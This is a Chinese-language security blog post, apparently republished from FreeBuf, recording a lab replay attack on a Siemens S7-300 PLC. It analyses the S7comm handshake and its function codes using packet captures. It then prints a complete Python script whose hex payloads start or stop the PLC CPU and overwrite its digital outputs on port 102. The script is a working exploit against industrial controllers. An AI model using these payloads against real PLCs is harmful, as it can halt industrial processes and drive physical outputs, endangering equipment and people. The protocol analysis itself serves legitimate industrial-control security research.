29

西门子S7通信过程及重放攻击分析

 4 years ago
source link: https://www.tuicool.com/articles/mAv6bi6
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

0×1前言

最近手头有个S7-300,根据之前多位大神S7协议相关的分析,决定自己动手实操一下,通过payload重放实现对PLC的启停及DO数据的读写,实验过程记录下来跟大家分享一下,欢迎各位大神来交流。

0×2实验环境

PC1:

操作系统:win7 32位

相关软件:step7 v5.5 sp4 / wireshark_win32_2.2.1.0/snap7-1.4.2.7

PC2:

操作系统:win10 64位

相关软件:python2.7

PLC:

S7-300:

CPU:313C

固件版本:V3.3

0×3实验拓扑

7r2MV3N.jpg!web

其中,PC1主要用来对plc进行硬件组态和程序下载、执行操作命令(plc启停,数据的读写),并对通信过程进行抓包。PC2用来对plc进行重放攻击。

0×4初始化PLC

由于这个S7-300闲置多年,ip已经不知道了,手上也没有MPI线,好在有以太网模块,通过MAC地址连上plc,分享下方法:

3IRFfmV.jpg!web

以太网模块上有接口的mac地址,接上网线连接PC1,

YRz6ZvV.jpg!web

打开step7,菜单栏选项->设置PG/PC接口

Zfq6ruY.jpg!web

在访问路径中选择TCP/IP->自己的网卡,确定

m22Erue.jpg!web

回到菜单栏,选择PLC->编辑Ethernet节点

3u63Mbi.jpg!web

输入我们刚刚获取的mac地址,点击浏览

67JnA3n.jpg!web

这样就能找到以太网模块之前的ip地址了。如果这个模块是第一次使用(没有ip地址,IP地址栏为空),同样选择设备并确认

iAV3mqB.jpg!web

返回后在这里可以设置临时ip地址,设置完后,修改pc地址,保证在同一网段。

下面就是硬件组态了,这里就不赘述了,我这台设备因为之前用过,我就直接从plc上传组态信息及程序了,我们拿到一些需要的信息就可以了

ZNJBRzZ.jpg!web

菜单栏选择PLC->将站点上传到PG,

buQf2mQ.jpg!web

首先选择插槽,S7-300一般为2,点击更新,稍等一会儿会弹出plc的信息,选择后点击确定,到这里,程序上载完成。

In2U3eq.jpg!web

查看硬件组态

YJbyUfF.jpg!web

这样我们就获取了I/O模块的地址。到这里,我们拿到了需要的信息:

IP地址:172.18.15.104
DO地址:124-125

0×5 S7通信过程分析

这里我们采用的是snap7对plc进行启停操作和DO输出进行读写,并进行抓包。

Snap7这里就不多做介绍了,一款非常强大的工具,具体介绍请自行百度,我这里直接使用windows的客户端。

beaQbmu.jpg!web

3iyaUv6.jpg!web

S7的协议分析请参照 工控安全 | 西门子通信协议S7COMM ,非常详细,这里根据我的理解做个简单描述。

Yz6Vjyq.jpg!web

S7的通讯大致分为4个过程,分别是:

1.TCP三次握手:这个没什么好说的,大家都懂。
2.COTP握手:COTP部分分为两种:COTP连接包和COTP功能包,COTP握手阶段使用的是COTP连接包,S7数据传输阶段使用的是COTP功能包。
3.S7COMM建联:S7COMM作为COTP的有效载荷,主要包含三部分:Header、Parameter、Data,建联阶段S7COMM只包含Header和Parameter两个字段。

下面通过wireshark截图详细了解下整个过程:

Step1:三次握手

Uby6Rj2.jpg!web

Step2:COTP握手

请求报文:

2AJbieq.jpg!web

1567556222346.jpg!web

主要由TPKT和COTP组成,TPKT中的Length为 TPKT\COTP\S7三层协议的总长度

COTP中的Length为COTP后续数据长度,一般为17

PDU type:

0×1: ED Expedited Data,加急数据
0×2: EA Expedited Data Acknowledgement,加急数据确认
0×4: UD,用户数据
0×5: RJ Reject,拒绝
0×6: AK Data Acknowledgement,数据确认
0×7: ER TPDU Error,TPDU错误
0×8: DR Disconnect Request,断开请求
0xC: DC Disconnect Confirm,断开确认
0xD: CC Connect Confirm,连接确认
0xE: CR Connect Request,连接请求
0xF: DT Data,数据传输

此处值为0x0e,表示连接请求

响应报文:

注意PDU Type的变化

rArqYfE.jpg!web

iuIj6bI.jpg!web

Step3:S7建联

作业请求:

mUZJFjr.jpg!web

COTP功能吗为0x0f,对照上表,数据传输

AfIFfiN.jpg!web

0×32为协议号

ROSCTR,操作类型:

0×01 – JOB(Request: job withacknowledgement):作业请求。由主设备发送的请求(例如,读/写存储器,读/写块,启动/停止设备,设置通信);
0×02 – ACK(acknowledgement without additional field):确认响应,没有数据的简单确认(未遇到过由S7 300/400设备发送得);
0×03 – ACK_DATA(Response: acknowledgementwith additional field):确认数据响应,这个一般都是响应JOB的请求;
0×07 – USERDATA:原始协议的扩展,参数字段包含请求/响应ID(用于编程/调试,读取SZL,安全功能,时间设置,循环读取…)。

此处为01,表示作业请求

Data length:数据长度,读取plc数据请求时,无数据,因此为0

JvQnQrR.jpg!web

Parameter中记录了功能码,Setup communication [0xF0]表示建立通信的请求

3Inq2mA.jpg!web

作业应答:

PLC的S7应答响应:Setupcommunication [0xF0]

Header中的ROSCTR变为ACK_DATA,响应请求中的job

BVJNZ3u.jpg!web

Step4:停止plc报文

COTP的PDU为数据传输(功能包),S7层的header中请求类型为job,plc stop的功能码为0×29

Azyy2i6.jpg!web

重放即可。

Step5:读取PLC DO数据

请求报文:

主要有以下几个点:

1.功能码:04读取数据
2.读取的数据类型:82 output(Q)
3.数据地址的计算:0x0003e0

需要注意的一点是,我们DO的数据地址为124,这里的地址编码为0x0003e0,直接计算会发现并不等于124,通过报文可以发现,0x0003e0中包含了位地址,所以需要去除最后三位再计算,也就是1111100,即十进制的124。

ENRj6nI.jpg!web

应答报文:

应答包相对比较简单,其Parameter只有function、itemcount两个字段,返回00,DO的16位输出都为0。

fQNvUvV.jpg!web

Step6:写入PLC DO值

和read相比,除了parameter,S7多了data部分,因为要写入数值

YbYNNjQ.jpg!web

具体报文,写操作功能码05,item部分不变,指定数据类型及地址,data部分为写入数据信息,此处写入ff,全部为1

VJRBzqE.jpg!web

上面提到的item,每个item代表了一段地址,比如上图报文中一共有5个item,除了第一个是outputs(Q)地址,后面4个都是DB地址,我们可以根据自己的需求进行修改,比如删除后面的4个item,需要注意的是,删除了报文的其他部分也要做出对应的修改,否则无法重放。这里标出需要修改的关于长度计算的数据段:

B3ymean.jpg!web

QfMvmuQ.jpg!web

0×6 S7重放攻击

重放攻击,首先还是要根据S7通信特征建立连接,然后通过抓到的数据包构造各种行为的payload,通过对协议的分析和理解,还可以根据自己的需求对payload进行一定的修改。

附上我重放的python脚本(参考了 isf 中的s7_300_400_plc_control.py)

import socket

import time

import sys

arg = int(sys.argv[1])

setup_communication_payload = '0300001902f08032010000020000080000f0000002000201e0'.decode('hex')

cpu_start_payload = "0300002502f0803201000005000014000028000000000000fd000009505f50524f4752414d".decode('hex')

cpu_stop_payload = "0300002102f0803201000047000010000029000000000009505f50524f4752414d".decode('hex')

set_do_var="0300002502f080320100004300000e00060501120a100200020000820003e0000400105555".decode('hex')

class Exploit():

target = '172.18.15.104'

port = 102

slot = 2

command = arg

sock = None

def create_connect(self, slot):

slot_num = chr(slot)

create_connect_payload = '0300001611e00000001400c1020100c20201'.decode('hex') + slot_num + 'c0010a'.decode('hex')

self.sock.send(create_connect_payload)

self.sock.recv(1024)

self.sock.send(setup_communication_payload)

self.sock.recv(1024)

def exploit(self):

self.sock = socket.socket()

self.sock.connect((self.target, self.port))

self.create_connect(self.slot)

if self.command == 1:

print("Start plc")

self.sock.send(cpu_start_payload)

elif self.command == 2:

print("Stop plc")

self.sock.send(cpu_stop_payload)

elif self.command == 3:

print("set DO 0101 01010 1010 1010")

self.sock.send(set_do_var)

else:

print("Command %s didn't support" % self.command)

def run(self):

if self._check_alive():

print("Target is alive")

print("Sending packet to target")

self.exploit()

if not self._check_alive():

print("Target is down")

else:

print("Target is not alive")

def _check_alive(self):

try:

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.settimeout(1)

sock.connect((self.target, self.port))

sock.close()

except Exception:

return False

return True

if __name__ == '__main__':

x=Exploit()

x.run()

运行时命令行需要传入一个指令参数:

1:run plc
2:stop plc
3:set DO 0101 01010 1010 1010

最后是演示图:

vui2aiq.jpg!web

famieeE.jpg!web

ZRfuInz.jpg!web

6Z7fyqI.jpg!web

INbmqmr.jpg!web

Ivi67ri.jpg!web

演示到这里也就结束了,有兴趣的可以对DO写个跑马灯,S7协议的重放攻击危害还是挺大的。真实场景中直接启停plc以及控制PLC输出是非常危险的,重放攻击能做的还有很多,取决于对S7协议的理解程度,上述内容中描述有误的,还望大神们多多指教。

参考:

工控安全 | 西门子通信协议S7COMM(Part 1)

工控安全 | 西门子通信协议S7COMM(Part 2)

https://github.com/dark-lbp/isf

*本文原创作者:leoyyx,本文属于FreeBuf原创奖励计划,未经许可禁止转载


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK